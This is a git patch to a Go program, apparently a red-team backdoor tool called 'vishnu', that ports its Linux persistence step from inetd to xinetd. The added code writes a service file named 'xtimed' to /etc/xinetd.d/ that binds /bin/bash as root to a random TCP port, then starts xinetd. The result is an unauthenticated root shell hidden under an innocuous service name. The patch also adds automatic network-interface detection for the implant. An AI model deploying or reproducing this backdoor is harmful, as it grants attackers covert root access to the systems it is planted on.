From de9feed5364a40f3d0d7205b64247f4d6961d6f4 Mon Sep 17 00:00:00 2001 From: Pin Date: Sun, 3 Apr 2022 22:02:41 -0400 Subject: [PATCH] Adapter linux client for xinetd Signed-off-by: Pin --- main.go | 23 ++++++++++++++++++++--- spec/spec_linux.go | 9 ++++++++- 2 files changed, 28 insertions(+), 4 deletions(-) diff --git a/main.go b/main.go index 69ac33a..7a7b082 100644 --- a/main.go +++ b/main.go @@ -8,6 +8,8 @@ import ( "os" "os/exec" "runtime" + "strings" + "strconv" "github.com/emmaunel/vishnu/spec" @@ -17,6 +19,19 @@ import ( "github.com/google/gopacket/pcap" ) +var serviceDefine = `service {{servicename}} +{ + disable = no + server = /bin/bash + port = {{serviceport}} + flags = IPv4 + user = root + socket_type = stream + protocol = tcp + wait = no + type = unlisted +}` + type targetInfo struct { os string iFace string @@ -77,15 +92,17 @@ func vishnu(ip string, tInfo *targetInfo) { randomPort := rand.Intn(65535-100) + 100 // println("The doors are open on port ", strconv.Itoa(randomPort)) // Append to a file /etc/inetd.conf - fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) + fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) errorPrinter(err) defer fd.Close() - if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil { + xinetdServiceFile := strings.Replace(serviceDefine, "{{serviceport}}", strconv.Itoa(randomPort), 1) + xinetdServiceFile = strings.Replace(xinetdServiceFile, "{{servicename}}", "xtimed", 1) + if _, err = fd.WriteString(xinetdServiceFile); err != nil { log.Panicln(err) } - exec.Command("/usr/sbin/inetd").Run() + exec.Command("/usr/sbin/xinetd").Run() } } diff --git a/spec/spec_linux.go b/spec/spec_linux.go index 6485576..0038125 100644 --- a/spec/spec_linux.go +++ b/spec/spec_linux.go @@ -6,7 +6,14 @@ import ( ) func GetAdapter() string { - return "ens160" + inetReturn := "" + inetInterfaces, _ := net.Interfaces() + if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback + inetReturn = inetInterfaces[1].Name + } else { + inetReturn = inetInterfaces[0].Name + } + return inetReturn } func ConnectBack(ip string, connectbackPort string) {